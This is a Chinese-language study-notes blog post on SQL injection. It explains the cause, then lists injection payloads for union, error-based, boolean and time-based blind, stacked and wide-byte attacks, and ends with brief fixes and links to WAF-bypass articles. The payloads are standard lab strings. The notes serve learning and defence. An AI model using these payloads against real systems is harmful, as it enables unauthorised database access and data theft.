mxm0404

  虽然web基础的一些漏洞都已经学过了一遍,但感觉基础知识掌握的并不是很好。俗话说“基础不牢,地动山摇”,防止学过的知识有一阵子不看就忘,写一遍也是好的,再用到的时候哪里有遗忘的地方也可以快速地查找。

  第二遍迭代目标:SQL注入、文件上传、文件包含、XSS、xxe、ssrf、内网提权等是基础,不仅要会利用,还要懂得产生原理、代码层面的,还有如何修复,怎么绕waf,各种payload...路漫漫其修远兮,吾将上下而求索。

  So,我的第二遍迭代开始啦!

一、SQL注入原理

  对用户的输入信息过于信任,没有做任何过滤就拼接到了SQL语句中进行执行。导致用户构造的恶意SQL代码也被执行了。

二、SQL注入payload

1、Union联合注入

?id=1 order by 1--+

?id=-1 union select 1,2,3--+

?id=-1 union select 1,database(),3--+

?id=-1 union select 1,group_concat(tables),3 from information_schema.tables where table_schema=database()--+

2、报错回显

(1)Floor()

id = 1 and (select 1 from  (select count(*),concat(floor(rand(0)*2),database())x from  information_schema.tables group by x)a)

进一步注入只需把划线位置换成注入语句

database() => (select group_concat(table_name) from x where table_schema=database())x from...

(2)Extractvalue()

id = 1 and extractvalue(1,concat(0x7e,(select user()),0x7e))

0x7e是波浪线(~),用于将注出来的信息和其他报错信息隔离开

0x3a是冒号(:)

(3)Updatexml()

id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

3、bool盲注

?id=1 and 1=1--+

?id=1 and 1=2--+

?id=1 and length(database())>1--+

?id=1 and ascii(mid(database(),1,1))>90--+

?id=1 and length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))>1--+

?id=1 and ascii(mid((select table_name form information_schema.tables where table_schema=’security’ limit 0,1),1,1))>90--+

4、时间盲注

?id=1 and sleep(3) and 1=1--+

?id=1 and sleep(3) and 1=2--+

?id=1 and sleep(3) and length(database())>1--+

?id=1 and sleep(3) and ascii(mid(database(),1,1))>100--+

5、堆叠查询注入

试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

堆叠注入存在一定局限性,并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,也可能因为权限不足。

Select sno from student;select 1 from student;

6、宽字节注入

  转义符是反斜杠\,ASCII码为0x5C,在\前面增加高字节,0x5C被当做低字节,组合为“汉字”,导致\符号被“吃掉”,后续字符逃出限制,从而绕过转义。

出现宽字节注入漏洞的条件:

(1)数据库编码要是GB系列(GBK、GB18030、BIG5等低字节符范围中含有0x5C的双字节字符编码集均存在宽字节注入/绕过,GB2312、UTF编码中\不会被吃掉)

(2)使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。常见的包括addslashes()、mysql_real_escape_string()函数,转义函数的转义作用,就是我们常说的“过滤机制”。

当两个条件都满足时才会出现宽字节注入。

select a from b where table_schema=%df\'abc%df\'

7、Http Header注入

  开发人员为验证客户信息(cookie)或用http header 获取客户信息(如:useragent、accept),会对http header 信息进行获取并使用sql进行处理,若安全措施没有做好,很有可能导致sql inject漏洞。

三、SQL注入漏洞修复

1、使用参数化查询接口

2、对SQL语句中的用户输入进行转义或过滤。

3、如果参数的数值一定是整数,可判断变量是否符合0-9的值

4、预编译SQL语句

四、SQL注入绕waf

mysql盲注绕过关键字过滤常用技巧 - 镱鍚 - 博客园 (cnblogs.com)

SQL注入绕过waf的一万种姿势 - 铺哩 - 博客园 (cnblogs.com)

 

在实践中不定期更新,loading...

分类:

技术点:

相关文章: